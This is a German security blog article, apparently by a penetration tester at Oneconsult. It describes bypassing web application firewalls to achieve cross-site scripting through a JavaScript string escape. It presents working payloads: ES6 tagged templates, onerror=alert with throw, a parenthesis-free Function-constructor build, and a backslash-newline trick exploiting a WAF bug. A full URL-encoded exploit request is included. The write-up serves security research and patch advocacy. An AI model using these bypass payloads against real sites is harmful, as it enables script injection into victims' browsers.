In diesem Beispiel schützte eine WAF eines führenden Herstellers die Webapplikation. Wie in diesem Artikel später noch gezeigt wird, konnten auch zwei weitere WAFs anderer Hersteller umgangen werden. Als Proof Of Concept Payload sollalert(„Oneconsult“);
ausgeführt werden. Als erstes müssen die Klammern()
und die doppelten Hochkommas ("
) umgangen werden (Siehe Punkt 3. der Sicherheitsmechanismen):- Es können die öffnende Klammer mit
- Am einfachsten ist es, die mit ECMAScript 6 eingeführten Tagged Template Literals zu verwenden (implementiert in Firefox, Chrome / Opera und Edge, aber nicht im IE). Dies ermöglicht folgenden einfachen Payload:
alert`Oneconsult`;
Dabei wird
alert
mit dem ParameterOneconsult
aufgerufen. - In JS können Strings mittels
“
(%22),‘
(%27) aber auch weniger bekannt mittels`
(%60) escaped werden. Da die ersten beiden durch die Applikation verhindert werden, wird stattdessen`
(%60) verwendet. Interessanter wird es beim Umgehen der()
, da diese durch die Applikation gefiltert werden. Hier gibt es verschiedene Wege, generell funktioniert folgende Alternative zu den Template Literals (unterstützt von allen üblichen Browsern, inklusive IE):onerror=alert; throw `Oneconsult`;
Alternativ können auch ähnliche Techniken wie in JSF**k verwendet werden. Grundsätzlich kann jedes JS ohne jegliche alphanumerischen Zeichen geschrieben werden. Diese werden jedoch extrem lang und zudem muss hier ungleich zu JSF**k auch auf die Klammern verzichtet werden. Daher werden die Techniken stark angepasst (auch hier werden wieder alle üblichen Browser ausser dem IE unterstützt, da dieser ECMAScript 6 nicht vollumfänglich implementiert):
- Es können die öffnende Klammer mit
[open+[]][0][13]
und die schliessende mit[open+[]][0][14]
ersetzt werden. Das Default-Objekt in JS ist window, daher entspricht open dem window.open. Der Aufruf von open ohne Klammern führt dazu, dass functionopen() {[native code]}
zurück gegeben wird. Dies soll in ein String konvertiert und die Klammern daraus verwendet werden. Als erstes wird die Rückgabe mittels+[]
in einen String konvertiert. Da keine geschweiften Klammern verwendet werden können, werden eckige Klammern umopen+[]
gesetzt, was jedoch daraus ein Array mit einem Element macht. Nun kann auf den String (ebenfalls ein Array) im Array zugegriffen werden. Hier wird das 14. und 15. Element gesucht, also(
und)
. alert
wird ebenfalls gerne gefiltert und ist daher hier mit derselben Technik aufgeteilt.- In
alert("Oneconsult")
braucht es noch zwei"
. Da diese mit\"
ersetzt werden, wird auf das"
mittels[`"`][0]
zugegriffen. - So wird der String
alert("Oneconsult")
gebildet. Normalerweise übergibt man dies der Funktioneval()
, eval triggert aber oft die WAF und hat andere Nachteile. Anstatt dessen wird der String dem Function Konstruktor übergeben.[][`constructor`]
ist der Konstruktor von String, dessen Parent-Konstruktor ist Function. Daher kann mittels[][`constructor`][`constructor`]
auf den Konstruktor von Function zugegriffen werden. Damit erhält man eine Funktion, welchealert("Oneconsult")
ausführt. - Die generierte Funktion muss noch ohne Parameter aufgerufen werden, dies geschieht mit den letzten
``
.
``
- Es können die öffnende Klammer mit
Diese drei Varianten funktionieren alle. Dabei muss die Zweite noch so angepasst werden, dass sie von der WAF nicht erkannt wird.
Umgehen der WAF (Bypassing)
Überraschenderweise sind alle drei getesteten WAFs noch nicht auf ES6 adaptiert. Dies bedeutet, dass alert(123)
geblockt während alert`123`
jedoch ungehindert weitergeleitet wird. Entsprechend kommen die Payloads 1 + 3 ungehindert an allen getesteten WAFs vorbei. Die beiden URL-encodeten Payloads:
//1. Beispiel
SearchTerm=\\\"-`Oneconsult`,//
``+%0Aa={//
Die zweite Variante ist aufgrund des onerror=alert schwieriger, da dies jedoch die einzige Version ist, welche auch ohne ES6 und damit auch im Internet Explorer funktioniert, wurde auch ein Weg für den Kunden gefunden. Ein während des Audits gefundener Fehler in der vom Kunden eingesetzten WAF erlaubt fast alle JS durchzuschleusen ohne dass diese vorab stark obfuscated werden müssen. Wird ein JS Statement mit einem ;
abgeschlossen, so kann sich dieses über mehrere Linien hinweg erstrecken. Hierdurch kann ein einzelnes Statement mittels mehreren //
manipuliert werden. Dies wird von der WAF jedoch erkannt und sobald das Newline (%0A) kommt, auch korrekterweise blockiert. Wird jedoch ein \
vor das Newline gesetzt, so blockt die WAF nicht mehr. Tut man dies zweimal hintereinander, so blockt die WAF die Anfrage nicht mehr. Das heisst, auch Nummer 2 kann durchgeschleust werden. Folgendes Script wird (URL encoded) durchgeschleust:
onerror//\
//\\\//\
=//\
//\\\//\
alert//\
//\\\//\
;throw `Oneconsult`;
Senden des Payloads
Schlussendlich muss das offene Objekt mit } abgeschlossen und die Überreste des Objekts in ein neues Objekt mittel a={//
gewrappt werden, um keinen JS Fehler zu generieren. Gewisse Characters müssen noch URL-encoded werden, um den Payload in der URL senden zu können. Folgender Request wird zum Exploiten gesendet:
www.exampleDomain.ch/suche/?SearchTerm=\\\"}%0Aonerror%2f%2f\%0a%2f%2f\\\%2f%2f\%0a=%2f%2f\%0a%2f%2f\\\%2f%2f\%0aalert%2f%2f\%0a%2f%2f\\\%2f%2f\%0a;throw%20`Oneconsult`;a={%2f%2f
Dies führt zu folgendem XSS:
var tracking =
{
"category":"search",
"lang":"de-ch",
"SearchTerm":"\\\\"}
onerror//\
//\\\//\
=//\
//\\\//\
alert//\
//\\\//\
;throw `Oneconsult`;a={//",
"platform":"test",
"currency":"CHF"
}
Fazit
Dieser Artikel belegt, dass es trotz heutigen Schutzmechanismen möglich ist, die aktuelle WAF auf verschiedene Arten zu umgehen, sofern ein Escape aus einem String in JS gelingt. Dies gelingt, weil viele WAF-Hersteller ihre Produkte noch nicht an ES6 adaptiert haben oder die Updates durch Kunden noch nicht eingespielt wurden. Generell ist jedoch mit JS eine derart vielfältige Code-Gestaltung möglich, dass es kaum möglich sein dürfte JS effizient und effektiv zu erkennen um solche WAF Bypasses zu verhindern. Somit lohnt sich das zeitnahe Einspielen von Security Patches und Updates – egal wie gut die WAF ist.
Über Oneconsult
Rafael Scheel ist Penetration Tester, IT-Forensiker & Security Researcher bei der Oneconsult AG.
Die Oneconsult AG ist ein Schweizer Cybersecurity Consulting Unternehmen mit rund 25 Mitarbeitern, Büros in der Schweiz und Deutschland und einem Kundenstamm von 300+ Organisationen und 1000+ weltweit durchgeführten Projekten. Wir sind Ihr vertrauenswürdiger Partner für einen umfassenden Cybersecurity Ansatz gegen externe und interne Cyber-Bedrohungen wie APT, Hacker-Angriffe, Malware-Befall, digitalen Betrug und Datenverlust. Die Kerndienstleistungen von Oneconsult sind Penetration Tests, ISO 27001 Security Audits und IT-Forensik. Zum Schutz Ihrer Organisation und um spezifische Informationssicherheitsrisiken anzugehen, sind auch praxisorientiertes Security Consulting, Security Training und Virtual Security Officer Services Teil des Portfolios. Eigene IT Security Researcher, IT-Forensik-Experten (GCFE, GREM), ISO Security Auditoren (ISO 27001 Lead Auditor) und ein grosses Team an zertifizierten Penetration Testern (OPST, OSCP etc.) stehen Ihnen zur Verfügung.